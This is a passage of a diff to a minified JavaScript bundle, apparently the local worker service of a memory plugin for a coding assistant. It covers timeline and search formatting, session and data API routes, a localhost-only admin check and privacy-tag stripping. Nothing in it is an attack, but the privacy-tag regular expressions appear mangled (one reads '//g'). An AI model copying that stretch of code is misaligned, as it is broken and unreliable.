"${r}"`),g.push(`**Anchor:** Observation #${l.id} - ${l.title||"Untitled"}`),g.push(`**Window:** ${a} records before \u2192 ${s} records after | **Items:** ${m?.length??0}`),g.push("");let b=new Map;for(let h of m){let y=Ln(h.epoch);b.has(y)||b.set(y,[]),b.get(y).push(h)}let p=Array.from(b.entries()).sort((h,y)=>{let v=new Date(h[0]).getTime(),_=new Date(y[0]).getTime();return v-_});for(let[h,y]of p){g.push(`### ${h}`),g.push("");let v=null,_="",S=!1;for(let x of y){let E=x.type==="observation"&&x.data.id===l.id;if(x.type==="session"){S&&(g.push(""),S=!1,v=null,_="");let T=x.data,$=T.request||"Session summary";g.push(`**\u{1F3AF} #S${T.id}** ${$} (${xa(x.epoch)})`),g.push("")}else if(x.type==="prompt"){S&&(g.push(""),S=!1,v=null,_="");let T=x.data,$=T.prompt_text.length>100?T.prompt_text.substring(0,100)+"...":T.prompt_text;g.push(`**\u{1F4AC} User Prompt #${T.prompt_number}** (${xa(x.epoch)})`),g.push(`> ${$}`),g.push("")}else if(x.type==="observation"){let T=x.data,$=Fn(T.files_modified,c);$!==v&&(S&&g.push(""),g.push(`**${$}**`),g.push("| ID | Time | T | Title | Tokens |"),g.push("|----|------|---|-------|--------|"),v=$,S=!0,_="");let N=$t.getInstance().getTypeIcon(T.type),j=ci(x.epoch),q=T.title||"Untitled",H=El(T.narrative),W=j!==_?j:"\u2033";_=j;let oe=E?" \u2190 **ANCHOR**":"";g.push(`| #${T.id} | ${W} | ${N} | ${q}${oe} | ~${H} |`)}}S&&g.push("")}return{content:[{type:"text",text:g.join(` +`)}]}}}catch(r){return{content:[{type:"text",text:`Timeline query failed: ${r.message}`}],isError:!0}}}};La();var k7=4,kl=class{formatSearchTips(){return` --- \u{1F4A1} Search Strategy: 1. Search with index to see titles, dates, IDs @@ -1207,19 +1111,19 @@ No previous sessions found for project "${r}".`}]};let s=[];s.push("# Recent Ses Tips: \u2022 Filter by type: obs_type="bugfix,feature" \u2022 Filter by date: dateStart="2025-01-01" -\u2022 Sort: orderBy="date_desc" or "date_asc"`}formatTime(e){return new Date(e).toLocaleString("en-US",{hour:"numeric",minute:"2-digit",hour12:!0})}estimateReadTokens(e){let r=(e.title?.length||0)+(e.subtitle?.length||0)+(e.narrative?.length||0)+(e.facts?.length||0);return Math.ceil(r/n7)}formatObservationIndex(e,r){let n=`#${e.id}`,a=this.formatTime(e.created_at_epoch),s=so[e.type]||"\u2022",i=e.title||"Untitled",o=this.estimateReadTokens(e),c=ku[e.type]||"\u{1F50D}",u=e.discovery_tokens||0,l=u>0?`${c} ${u}`:"-";return`| ${n} | ${a} | ${s} | ${i} | ~${o} | ${l} |`}formatSessionIndex(e,r){let n=`#S${e.id}`,a=this.formatTime(e.created_at_epoch),s="\u{1F3AF}",i=e.request||`Session ${e.sdk_session_id?.substring(0,8)||"unknown"}`;return`| ${n} | ${a} | ${s} | ${i} | - | - |`}formatUserPromptIndex(e,r){let n=`#P${e.id}`,a=this.formatTime(e.created_at_epoch),s="\u{1F4AC}",i=e.prompt_text.length>60?e.prompt_text.substring(0,57)+"...":e.prompt_text;return`| ${n} | ${a} | ${s} | ${i} | - | - |`}formatTableHeader(){return`| ID | Time | T | Title | Read | Work | +\u2022 Sort: orderBy="date_desc" or "date_asc"`}formatTime(e){return new Date(e).toLocaleString("en-US",{hour:"numeric",minute:"2-digit",hour12:!0})}estimateReadTokens(e){let r=(e.title?.length||0)+(e.subtitle?.length||0)+(e.narrative?.length||0)+(e.facts?.length||0);return Math.ceil(r/k7)}formatObservationIndex(e,r){let n=`#${e.id}`,a=this.formatTime(e.created_at_epoch),s=$t.getInstance().getTypeIcon(e.type),i=e.title||"Untitled",o=this.estimateReadTokens(e),c=$t.getInstance().getWorkEmoji(e.type),u=e.discovery_tokens||0,l=u>0?`${c} ${u}`:"-";return`| ${n} | ${a} | ${s} | ${i} | ~${o} | ${l} |`}formatSessionIndex(e,r){let n=`#S${e.id}`,a=this.formatTime(e.created_at_epoch),s="\u{1F3AF}",i=e.request||`Session ${e.sdk_session_id?.substring(0,8)||"unknown"}`;return`| ${n} | ${a} | ${s} | ${i} | - | - |`}formatUserPromptIndex(e,r){let n=`#P${e.id}`,a=this.formatTime(e.created_at_epoch),s="\u{1F4AC}",i=e.prompt_text.length>60?e.prompt_text.substring(0,57)+"...":e.prompt_text;return`| ${n} | ${a} | ${s} | ${i} | - | - |`}formatTableHeader(){return`| ID | Time | T | Title | Read | Work | |-----|------|---|-------|------|------|`}formatSearchTableHeader(){return`| ID | Time | T | Title | Read | -|----|------|---|-------|------|`}formatObservationSearchRow(e,r){let n=`#${e.id}`,a=this.formatTime(e.created_at_epoch),s=so[e.type]||"\u2022",i=e.title||"Untitled",o=this.estimateReadTokens(e);return{row:`| ${n} | ${a===r?"\u2033":a} | ${s} | ${i} | ~${o} |`,time:a}}formatSessionSearchRow(e,r){let n=`#S${e.id}`,a=this.formatTime(e.created_at_epoch),s="\u{1F3AF}",i=e.request||`Session ${e.sdk_session_id?.substring(0,8)||"unknown"}`;return{row:`| ${n} | ${a===r?"\u2033":a} | ${s} | ${i} | - |`,time:a}}formatUserPromptSearchRow(e,r){let n=`#P${e.id}`,a=this.formatTime(e.created_at_epoch),s="\u{1F4AC}",i=e.prompt_text.length>60?e.prompt_text.substring(0,57)+"...":e.prompt_text;return{row:`| ${n} | ${a===r?"\u2033":a} | ${s} | ${i} | - |`,time:a}}};var Tl=class{buildTimeline(e){let r=[...e.observations.map(n=>({type:"observation",data:n,epoch:n.created_at_epoch})),...e.sessions.map(n=>({type:"session",data:n,epoch:n.created_at_epoch})),...e.prompts.map(n=>({type:"prompt",data:n,epoch:n.created_at_epoch}))];return r.sort((n,a)=>n.epoch-a.epoch),r}filterByDepth(e,r,n,a,s){if(e.length===0)return e;let i=-1;if(typeof r=="number")i=e.findIndex(u=>u.type==="observation"&&u.data.id===r);else if(typeof r=="string"&&r.startsWith("S")){let u=parseInt(r.slice(1),10);i=e.findIndex(l=>l.type==="session"&&l.data.id===u)}else i=e.findIndex(u=>u.epoch>=n),i===-1&&(i=e.length-1);if(i===-1)return e;let o=Math.max(0,i-a),c=Math.min(e.length,i+s+1);return e.slice(o,c)}formatTimeline(e,r,n,a,s){if(e.length===0)return n?`Found observation matching "${n}", but no timeline context available.`:"No timeline items found";let i=[];if(n&&r){let u=e.find(d=>d.type==="observation"&&d.data.id===r),l=u?u.data.title||"Untitled":"Unknown";i.push(`# Timeline for query: "${n}"`),i.push(`**Anchor:** Observation #${r} - ${l}`)}else r?i.push(`# Timeline around anchor: ${r}`):i.push("# Timeline");a!==void 0&&s!==void 0?i.push(`**Window:** ${a} records before \u2192 ${s} records after | **Items:** ${e.length}`):i.push(`**Items:** ${e.length}`),i.push(""),i.push("**Legend:** \u{1F3AF} session-request | \u{1F534} bugfix | \u{1F7E3} feature | \u{1F504} refactor | \u2705 change | \u{1F535} discovery | \u{1F9E0} decision"),i.push("");let o=new Map;for(let u of e){let l=this.formatDate(u.epoch);o.has(l)||o.set(l,[]),o.get(l).push(u)}let c=Array.from(o.entries()).sort((u,l)=>{let d=new Date(u[0]).getTime(),f=new Date(l[0]).getTime();return d-f});for(let[u,l]of c){i.push(`### ${u}`),i.push("");let d=null,f="",m=!1;for(let g of l){let b=typeof r=="number"&&g.type==="observation"&&g.data.id===r||typeof r=="string"&&r.startsWith("S")&&g.type==="session"&&`S${g.data.id}`===r;if(g.type==="session"){m&&(i.push(""),m=!1,d=null,f="");let p=g.data,h=p.request||"Session summary",y=b?" \u2190 **ANCHOR**":"";i.push(`**\u{1F3AF} #S${p.id}** ${h} (${this.formatDateTime(g.epoch)})${y}`),i.push("")}else if(g.type==="prompt"){m&&(i.push(""),m=!1,d=null,f="");let p=g.data,h=p.prompt_text.length>100?p.prompt_text.substring(0,100)+"...":p.prompt_text;i.push(`**\u{1F4AC} User Prompt #${p.prompt_number}** (${this.formatDateTime(g.epoch)})`),i.push(`> ${h}`),i.push("")}else if(g.type==="observation"){let p=g.data,h="General";h!==d&&(m&&i.push(""),i.push(`**${h}**`),i.push("| ID | Time | T | Title | Tokens |"),i.push("|----|------|---|-------|--------|"),d=h,m=!0,f="");let y=this.getTypeIcon(p.type),v=this.formatTime(g.epoch),_=p.title||"Untitled",S=this.estimateTokens(p.narrative),w=v!==f?v:"\u2033";f=v;let T=b?" \u2190 **ANCHOR**":"";i.push(`| #${p.id} | ${w} | ${y} | ${_}${T} | ~${S} |`)}}m&&i.push("")}return i.join(` -`)}getTypeIcon(e){switch(e){case"bugfix":return"\u{1F534}";case"feature":return"\u{1F7E3}";case"refactor":return"\u{1F504}";case"change":return"\u2705";case"discovery":return"\u{1F535}";case"decision":return"\u{1F9E0}";default:return"\u2022"}}formatDate(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",year:"numeric"})}formatTime(e){return new Date(e).toLocaleString("en-US",{hour:"numeric",minute:"2-digit",hour12:!0})}formatDateTime(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"numeric",minute:"2-digit",hour12:!0})}estimateTokens(e){return e?Math.ceil(e.length/4):0}};var kl=class{constructor(e,r){this.sseBroadcaster=e;this.workerService=r}broadcastNewPrompt(e){this.sseBroadcaster.broadcast({type:"new_prompt",prompt:e}),this.sseBroadcaster.broadcast({type:"processing_status",isProcessing:!0}),this.workerService.broadcastProcessingStatus()}broadcastSessionStarted(e,r){this.sseBroadcaster.broadcast({type:"session_started",sessionDbId:e,project:r}),this.workerService.broadcastProcessingStatus()}broadcastObservationQueued(e){this.sseBroadcaster.broadcast({type:"observation_queued",sessionDbId:e}),this.workerService.broadcastProcessingStatus()}broadcastSessionCompleted(e){this.sseBroadcaster.broadcast({type:"session_completed",timestamp:Date.now(),sessionDbId:e}),this.workerService.broadcastProcessingStatus()}broadcastSummarizeQueued(){this.workerService.broadcastProcessingStatus()}};var Hm=$t(Wp(),1),Fk=$t(Lk(),1),zk=$t(require("path"),1);Ar();_t();function Uk(t){let e=[];e.push(Hm.default.json({limit:"50mb"})),e.push((0,Fk.default)()),e.push((a,s,i)=>{let c=[".html",".js",".css",".svg",".png",".jpg",".jpeg",".webp",".woff",".woff2",".ttf",".eot"].some(m=>a.path.endsWith(m));if(a.path.startsWith("/health")||a.path==="/"||c)return i();let u=Date.now(),l=`${a.method}-${Date.now()}`,d=t(a.method,a.path,a.body);F.info("HTTP",`\u2192 ${a.method} ${a.path}`,{requestId:l},d);let f=s.send.bind(s);s.send=function(m){let g=Date.now()-u;return F.info("HTTP",`\u2190 ${s.statusCode} ${a.path}`,{requestId:l,duration:`${g}ms`}),f(m)},i()});let r=da(),n=zk.default.join(r,"plugin","ui");return e.push(Hm.default.static(n)),e}function Bm(t,e,r){let n=t.ip||t.connection.remoteAddress||"";if(!(n==="127.0.0.1"||n==="::1"||n==="::ffff:127.0.0.1"||n==="localhost")){F.warn("SECURITY","Admin endpoint access denied - not localhost",{endpoint:t.path,clientIp:n,method:t.method}),e.status(403).json({error:"Forbidden",message:"Admin endpoints are only accessible from localhost"});return}r()}function Hk(t,e,r){if(!r||Object.keys(r).length===0||e.includes("/init"))return"";if(e.includes("/observations")){let n=r.tool_name||"?",a=r.tool_input;return`tool=${F.formatTool(n,a)}`}return e.includes("/summarize")?"requesting summary":""}var Vm=$t(require("path"),1),$l=require("fs");Ar();_t();var kr=class{wrapHandler(e){return(r,n)=>{try{let a=e(r,n);a instanceof Promise&&a.catch(s=>this.handleError(n,s))}catch(a){this.handleError(n,a)}}}parseIntParam(e,r,n){let a=parseInt(e.params[n],10);return isNaN(a)?(this.badRequest(r,`Invalid ${n}`),null):a}validateRequired(e,r,n){for(let a of n)if(e.body[a]===void 0||e.body[a]===null)return this.badRequest(r,`Missing ${a}`),!1;return!0}badRequest(e,r){e.status(400).json({error:r})}notFound(e,r){e.status(404).json({error:r})}handleError(e,r,n){F.failure("WORKER",n||"Request failed",{},r),e.status(500).json({error:r.message})}};var Rl=class extends kr{constructor(r,n,a){super();this.sseBroadcaster=r;this.dbManager=n;this.sessionManager=a}setupRoutes(r){r.get("/health",this.handleHealth.bind(this)),r.get("/",this.handleViewerUI.bind(this)),r.get("/stream",this.handleSSEStream.bind(this))}handleHealth=this.wrapHandler((r,n)=>{n.json({status:"ok",timestamp:Date.now()})});handleViewerUI=this.wrapHandler((r,n)=>{let a=da(),i=[Vm.default.join(a,"ui","viewer.html"),Vm.default.join(a,"plugin","ui","viewer.html")].find(c=>(0,$l.existsSync)(c));if(!i)throw new Error("Viewer UI not found at any expected location");let o=(0,$l.readFileSync)(i,"utf-8");n.setHeader("Content-Type","text/html"),n.send(o)});handleSSEStream=this.wrapHandler((r,n)=>{n.setHeader("Content-Type","text/event-stream"),n.setHeader("Cache-Control","no-cache"),n.setHeader("Connection","keep-alive"),this.sseBroadcaster.addClient(n);let a=this.dbManager.getSessionStore().getAllProjects();this.sseBroadcaster.broadcast({type:"initial_load",projects:a,timestamp:Date.now()});let s=this.sessionManager.isAnySessionProcessing(),i=this.sessionManager.getTotalActiveWork();this.sseBroadcaster.broadcast({type:"processing_status",isProcessing:s,queueDepth:i})})};_t();_t();var Bk=100;function u7(t){let e=(t.match(//g)||[]).length,r=(t.match(//g)||[]).length;return e+r}function Vk(t){let e=u7(t);return e>Bk&&F.warn("SYSTEM","tag count exceeds limit",void 0,{tagCount:e,maxAllowed:Bk,contentLength:t.length}),t.replace(/[\s\S]*?<\/claude-mem-context>/g,"").replace(/[\s\S]*?<\/private>/g,"").trim()}function Wm(t){return Vk(t)}function Wk(t){return Vk(t)}var Pl=class{constructor(e,r,n){this.sessionManager=e;this.dbManager=r;this.eventBroadcaster=n}async completeByDbId(e){await this.sessionManager.deleteSession(e),this.dbManager.markSessionComplete(e),this.eventBroadcaster.broadcastSessionCompleted(e)}async completeByClaudeId(e){let n=this.dbManager.getSessionStore().findActiveSDKSession(e);if(!n)return!1;let a=n.id;return await this.completeByDbId(a),!0}};_t();var Ao=class{static checkUserPromptPrivacy(e,r,n,a,s,i){let o=e.getUserPrompt(r,n);return!o||o.trim()===""?(F.debug("HOOK",`Skipping ${a} - user prompt was entirely private`,{sessionId:s,promptNumber:n,...i}),null):o}};Yr();Ar();var Ol=class extends kr{constructor(r,n,a,s,i){super();this.sessionManager=r;this.dbManager=n;this.sdkAgent=a;this.eventBroadcaster=s;this.workerService=i;this.completionHandler=new Pl(r,n,s)}completionHandler;ensureGeneratorRunning(r,n){let a=this.sessionManager.getSession(r);a&&!a.generatorPromise&&(F.info("SESSION",`Generator auto-starting (${n})`,{sessionId:r,queueDepth:a.pendingMessages.length}),a.generatorPromise=this.sdkAgent.startSession(a,this.workerService).catch(s=>{F.failure("SDK","SDK agent error",{sessionId:r},s)}).finally(()=>{F.info("SESSION","Generator finished",{sessionId:r}),a.generatorPromise=null,this.workerService.broadcastProcessingStatus()}))}setupRoutes(r){r.post("/sessions/:sessionDbId/init",this.handleSessionInit.bind(this)),r.post("/sessions/:sessionDbId/observations",this.handleObservations.bind(this)),r.post("/sessions/:sessionDbId/summarize",this.handleSummarize.bind(this)),r.get("/sessions/:sessionDbId/status",this.handleSessionStatus.bind(this)),r.delete("/sessions/:sessionDbId",this.handleSessionDelete.bind(this)),r.post("/sessions/:sessionDbId/complete",this.handleSessionComplete.bind(this)),r.post("/api/sessions/init",this.handleSessionInitByClaudeId.bind(this)),r.post("/api/sessions/observations",this.handleObservationsByClaudeId.bind(this)),r.post("/api/sessions/summarize",this.handleSummarizeByClaudeId.bind(this)),r.post("/api/sessions/complete",this.handleSessionCompleteByClaudeId.bind(this))}handleSessionInit=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");if(a===null)return;let{userPrompt:s,promptNumber:i}=r.body,o=this.sessionManager.initializeSession(a,s,i),c=this.dbManager.getSessionStore().getLatestUserPrompt(o.claudeSessionId);if(c){this.eventBroadcaster.broadcastNewPrompt({id:c.id,claude_session_id:c.claude_session_id,project:c.project,prompt_number:c.prompt_number,prompt_text:c.prompt_text,created_at_epoch:c.created_at_epoch});let u=Date.now(),l=c.prompt_text;this.dbManager.getChromaSync().syncUserPrompt(c.id,c.sdk_session_id,c.project,l,c.prompt_number,c.created_at_epoch).then(()=>{let d=Date.now()-u,f=l.length>60?l.substring(0,60)+"...":l;F.debug("CHROMA","User prompt synced",{promptId:c.id,duration:`${d}ms`,prompt:f})}).catch(d=>{F.error("CHROMA","Failed to sync user_prompt",{promptId:c.id,sessionId:a},d)})}F.info("SESSION","Generator starting",{sessionId:a,project:o.project,promptNum:o.lastPromptNumber}),o.generatorPromise=this.sdkAgent.startSession(o,this.workerService).catch(u=>{F.failure("SDK","SDK agent error",{sessionId:a},u)}).finally(()=>{F.info("SESSION","Generator finished",{sessionId:a}),o.generatorPromise=null,this.workerService.broadcastProcessingStatus()}),this.eventBroadcaster.broadcastSessionStarted(a,o.project),n.json({status:"initialized",sessionDbId:a,port:Ms()})});handleObservations=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");if(a===null)return;let{tool_name:s,tool_input:i,tool_response:o,prompt_number:c,cwd:u}=r.body;this.sessionManager.queueObservation(a,{tool_name:s,tool_input:i,tool_response:o,prompt_number:c,cwd:u}),this.ensureGeneratorRunning(a,"observation"),this.eventBroadcaster.broadcastObservationQueued(a),n.json({status:"queued"})});handleSummarize=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");if(a===null)return;let{last_user_message:s,last_assistant_message:i}=r.body;this.sessionManager.queueSummarize(a,s,i),this.ensureGeneratorRunning(a,"summarize"),this.eventBroadcaster.broadcastSummarizeQueued(),n.json({status:"queued"})});handleSessionStatus=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");if(a===null)return;let s=this.sessionManager.getSession(a);if(!s){n.json({status:"not_found"});return}n.json({status:"active",sessionDbId:a,project:s.project,queueLength:s.pendingMessages.length,uptime:Date.now()-s.startTime})});handleSessionDelete=this.wrapHandler(async(r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");a!==null&&(await this.completionHandler.completeByDbId(a),n.json({status:"deleted"}))});handleSessionComplete=this.wrapHandler(async(r,n)=>{let a=this.parseIntParam(r,n,"sessionDbId");a!==null&&(await this.completionHandler.completeByDbId(a),n.json({success:!0}))});handleObservationsByClaudeId=this.wrapHandler((r,n)=>{let{claudeSessionId:a,tool_name:s,tool_input:i,tool_response:o,cwd:c}=r.body;if(!a)return this.badRequest(n,"Missing claudeSessionId");let u=ft.loadFromFile(js);if(new Set(u.CLAUDE_MEM_SKIP_TOOLS.split(",").map(y=>y.trim()).filter(Boolean)).has(s)){F.debug("SESSION","Skipping observation for tool",{tool_name:s}),n.json({status:"skipped",reason:"tool_excluded"});return}if(new Set(["Edit","Write","Read","NotebookEdit"]).has(s)&&i){let y=i.file_path||i.notebook_path;if(y&&y.includes("session-memory")){F.debug("SESSION","Skipping meta-observation for session-memory file",{tool_name:s,file_path:y}),n.json({status:"skipped",reason:"session_memory_meta"});return}}let f=this.dbManager.getSessionStore(),m=f.createSDKSession(a,"",""),g=f.getPromptCounter(m);if(!Ao.checkUserPromptPrivacy(f,a,g,"observation",m,{tool_name:s})){n.json({status:"skipped",reason:"private"});return}let p="{}",h="{}";try{p=i!==void 0?Wm(JSON.stringify(i)):"{}"}catch(y){F.debug("SESSION","Failed to serialize tool_input",{sessionDbId:m},y),p='{"error": "Failed to serialize tool_input"}'}try{h=o!==void 0?Wm(JSON.stringify(o)):"{}"}catch(y){F.debug("SESSION","Failed to serialize tool_result",{sessionDbId:m},y),h='{"error": "Failed to serialize tool_response"}'}this.sessionManager.queueObservation(m,{tool_name:s,tool_input:p,tool_response:h,prompt_number:g,cwd:c||F.happyPathError("SESSION","Missing cwd when queueing observation in SessionRoutes",{sessionId:m},{tool_name:s},"")}),this.ensureGeneratorRunning(m,"observation"),this.eventBroadcaster.broadcastObservationQueued(m),n.json({status:"queued"})});handleSummarizeByClaudeId=this.wrapHandler((r,n)=>{let{claudeSessionId:a,last_user_message:s,last_assistant_message:i}=r.body;if(!a)return this.badRequest(n,"Missing claudeSessionId");let o=this.dbManager.getSessionStore(),c=o.createSDKSession(a,"",""),u=o.getPromptCounter(c);if(!Ao.checkUserPromptPrivacy(o,a,u,"summarize",c)){n.json({status:"skipped",reason:"private"});return}this.sessionManager.queueSummarize(c,s||F.happyPathError("SESSION","Missing last_user_message when queueing summary in SessionRoutes",{sessionId:c},void 0,""),i),this.ensureGeneratorRunning(c,"summarize"),this.eventBroadcaster.broadcastSummarizeQueued(),n.json({status:"queued"})});handleSessionCompleteByClaudeId=this.wrapHandler(async(r,n)=>{let{claudeSessionId:a}=r.body;if(!a)return this.badRequest(n,"Missing claudeSessionId");if(!await this.completionHandler.completeByClaudeId(a)){n.json({success:!0,message:"No active session found"});return}n.json({success:!0})});handleSessionInitByClaudeId=this.wrapHandler((r,n)=>{let{claudeSessionId:a,project:s,prompt:i}=r.body;if(!this.validateRequired(r,n,["claudeSessionId","project","prompt"]))return;let o=this.dbManager.getSessionStore(),c=o.createSDKSession(a,s,i),u=o.incrementPromptCounter(c),l=Wk(i);if(!l||l.trim()===""){F.debug("HOOK","Session init - prompt entirely private",{sessionId:c,promptNumber:u,originalLength:i.length}),n.json({sessionDbId:c,promptNumber:u,skipped:!0,reason:"private"});return}o.saveUserPrompt(a,u,l),F.info("SESSION","Session initialized via HTTP",{sessionId:c,promptNumber:u,project:s}),n.json({sessionDbId:c,promptNumber:u,skipped:!1})})};var Zm=$t(require("path"),1),ci=require("fs"),Zk=require("os");Ar();var Cl=class extends kr{constructor(r,n,a,s,i,o){super();this.paginationHelper=r;this.dbManager=n;this.sessionManager=a;this.sseBroadcaster=s;this.workerService=i;this.startTime=o}setupRoutes(r){r.get("/api/observations",this.handleGetObservations.bind(this)),r.get("/api/summaries",this.handleGetSummaries.bind(this)),r.get("/api/prompts",this.handleGetPrompts.bind(this)),r.get("/api/observation/:id",this.handleGetObservationById.bind(this)),r.post("/api/observations/batch",this.handleGetObservationsByIds.bind(this)),r.get("/api/session/:id",this.handleGetSessionById.bind(this)),r.post("/api/sdk-sessions/batch",this.handleGetSdkSessionsByIds.bind(this)),r.get("/api/prompt/:id",this.handleGetPromptById.bind(this)),r.get("/api/stats",this.handleGetStats.bind(this)),r.get("/api/projects",this.handleGetProjects.bind(this)),r.get("/api/processing-status",this.handleGetProcessingStatus.bind(this)),r.post("/api/processing",this.handleSetProcessing.bind(this)),r.post("/api/import",this.handleImport.bind(this))}handleGetObservations=this.wrapHandler((r,n)=>{let{offset:a,limit:s,project:i}=this.parsePaginationParams(r),o=this.paginationHelper.getObservations(a,s,i);n.json(o)});handleGetSummaries=this.wrapHandler((r,n)=>{let{offset:a,limit:s,project:i}=this.parsePaginationParams(r),o=this.paginationHelper.getSummaries(a,s,i);n.json(o)});handleGetPrompts=this.wrapHandler((r,n)=>{let{offset:a,limit:s,project:i}=this.parsePaginationParams(r),o=this.paginationHelper.getPrompts(a,s,i);n.json(o)});handleGetObservationById=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"id");if(a===null)return;let i=this.dbManager.getSessionStore().getObservationById(a);if(!i){this.notFound(n,`Observation #${a} not found`);return}n.json(i)});handleGetObservationsByIds=this.wrapHandler((r,n)=>{let{ids:a,orderBy:s,limit:i,project:o}=r.body;if(!a||!Array.isArray(a)){this.badRequest(n,"ids must be an array of numbers");return}if(a.length===0){n.json([]);return}if(!a.every(l=>typeof l=="number"&&Number.isInteger(l))){this.badRequest(n,"All ids must be integers");return}let u=this.dbManager.getSessionStore().getObservationsByIds(a,{orderBy:s,limit:i,project:o});n.json(u)});handleGetSessionById=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"id");if(a===null)return;let i=this.dbManager.getSessionStore().getSessionSummariesByIds([a]);if(i.length===0){this.notFound(n,`Session #${a} not found`);return}n.json(i[0])});handleGetSdkSessionsByIds=this.wrapHandler((r,n)=>{let{sdkSessionIds:a}=r.body;if(!Array.isArray(a)){this.badRequest(n,"sdkSessionIds must be an array");return}let i=this.dbManager.getSessionStore().getSdkSessionsBySessionIds(a);n.json(i)});handleGetPromptById=this.wrapHandler((r,n)=>{let a=this.parseIntParam(r,n,"id");if(a===null)return;let i=this.dbManager.getSessionStore().getUserPromptsByIds([a]);if(i.length===0){this.notFound(n,`Prompt #${a} not found`);return}n.json(i[0])});handleGetStats=this.wrapHandler((r,n)=>{let a=this.dbManager.getSessionStore().db,s=da(),i=Zm.default.join(s,"package.json"),c=JSON.parse((0,ci.readFileSync)(i,"utf-8")).version,u=a.prepare("SELECT COUNT(*) as count FROM observations").get(),l=a.prepare("SELECT COUNT(*) as count FROM sdk_sessions").get(),d=a.prepare("SELECT COUNT(*) as count FROM session_summaries").get(),f=Zm.default.join((0,Zk.homedir)(),".claude-mem","claude-mem.db"),m=0;(0,ci.existsSync)(f)&&(m=(0,ci.statSync)(f).size);let g=Math.floor((Date.now()-this.startTime)/1e3),b=this.sessionManager.getActiveSessionCount(),p=this.sseBroadcaster.getClientCount();n.json({worker:{version:c,uptime:g,activeSessions:b,sseClients:p,port:Ms()},database:{path:f,size:m,observations:u.count,sessions:l.count,summaries:d.count}})});handleGetProjects=this.wrapHandler((r,n)=>{let i=this.dbManager.getSessionStore().db.prepare(` +|----|------|---|-------|------|`}formatObservationSearchRow(e,r){let n=`#${e.id}`,a=this.formatTime(e.created_at_epoch),s=$t.getInstance().getTypeIcon(e.type),i=e.title||"Untitled",o=this.estimateReadTokens(e);return{row:`| ${n} | ${a===r?"\u2033":a} | ${s} | ${i} | ~${o} |`,time:a}}formatSessionSearchRow(e,r){let n=`#S${e.id}`,a=this.formatTime(e.created_at_epoch),s="\u{1F3AF}",i=e.request||`Session ${e.sdk_session_id?.substring(0,8)||"unknown"}`;return{row:`| ${n} | ${a===r?"\u2033":a} | ${s} | ${i} | - |`,time:a}}formatUserPromptSearchRow(e,r){let n=`#P${e.id}`,a=this.formatTime(e.created_at_epoch),s="\u{1F4AC}",i=e.prompt_text.length>60?e.prompt_text.substring(0,57)+"...":e.prompt_text;return{row:`| ${n} | ${a===r?"\u2033":a} | ${s} | ${i} | - |`,time:a}}};La();var $l=class{buildTimeline(e){let r=[...e.observations.map(n=>({type:"observation",data:n,epoch:n.created_at_epoch})),...e.sessions.map(n=>({type:"session",data:n,epoch:n.created_at_epoch})),...e.prompts.map(n=>({type:"prompt",data:n,epoch:n.created_at_epoch}))];return r.sort((n,a)=>n.epoch-a.epoch),r}filterByDepth(e,r,n,a,s){if(e.length===0)return e;let i=-1;if(typeof r=="number")i=e.findIndex(u=>u.type==="observation"&&u.data.id===r);else if(typeof r=="string"&&r.startsWith("S")){let u=parseInt(r.slice(1),10);i=e.findIndex(l=>l.type==="session"&&l.data.id===u)}else i=e.findIndex(u=>u.epoch>=n),i===-1&&(i=e.length-1);if(i===-1)return e;let o=Math.max(0,i-a),c=Math.min(e.length,i+s+1);return e.slice(o,c)}formatTimeline(e,r,n,a,s){if(e.length===0)return n?`Found observation matching "${n}", but no timeline context available.`:"No timeline items found";let i=[];if(n&&r){let u=e.find(d=>d.type==="observation"&&d.data.id===r),l=u?u.data.title||"Untitled":"Unknown";i.push(`# Timeline for query: "${n}"`),i.push(`**Anchor:** Observation #${r} - ${l}`)}else r?i.push(`# Timeline around anchor: ${r}`):i.push("# Timeline");a!==void 0&&s!==void 0?i.push(`**Window:** ${a} records before \u2192 ${s} records after | **Items:** ${e.length}`):i.push(`**Items:** ${e.length}`),i.push(""),i.push("**Legend:** \u{1F3AF} session-request | \u{1F534} bugfix | \u{1F7E3} feature | \u{1F504} refactor | \u2705 change | \u{1F535} discovery | \u{1F9E0} decision"),i.push("");let o=new Map;for(let u of e){let l=this.formatDate(u.epoch);o.has(l)||o.set(l,[]),o.get(l).push(u)}let c=Array.from(o.entries()).sort((u,l)=>{let d=new Date(u[0]).getTime(),f=new Date(l[0]).getTime();return d-f});for(let[u,l]of c){i.push(`### ${u}`),i.push("");let d=null,f="",m=!1;for(let g of l){let b=typeof r=="number"&&g.type==="observation"&&g.data.id===r||typeof r=="string"&&r.startsWith("S")&&g.type==="session"&&`S${g.data.id}`===r;if(g.type==="session"){m&&(i.push(""),m=!1,d=null,f="");let p=g.data,h=p.request||"Session summary",y=b?" \u2190 **ANCHOR**":"";i.push(`**\u{1F3AF} #S${p.id}** ${h} (${this.formatDateTime(g.epoch)})${y}`),i.push("")}else if(g.type==="prompt"){m&&(i.push(""),m=!1,d=null,f="");let p=g.data,h=p.prompt_text.length>100?p.prompt_text.substring(0,100)+"...":p.prompt_text;i.push(`**\u{1F4AC} User Prompt #${p.prompt_number}** (${this.formatDateTime(g.epoch)})`),i.push(`> ${h}`),i.push("")}else if(g.type==="observation"){let p=g.data,h="General";h!==d&&(m&&i.push(""),i.push(`**${h}**`),i.push("| ID | Time | T | Title | Tokens |"),i.push("|----|------|---|-------|--------|"),d=h,m=!0,f="");let y=this.getTypeIcon(p.type),v=this.formatTime(g.epoch),_=p.title||"Untitled",S=this.estimateTokens(p.narrative),E=v!==f?v:"\u2033";f=v;let T=b?" \u2190 **ANCHOR**":"";i.push(`| #${p.id} | ${E} | ${y} | ${_}${T} | ~${S} |`)}}m&&i.push("")}return i.join(` +`)}getTypeIcon(e){return $t.getInstance().getTypeIcon(e)}formatDate(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",year:"numeric"})}formatTime(e){return new Date(e).toLocaleString("en-US",{hour:"numeric",minute:"2-digit",hour12:!0})}formatDateTime(e){return new 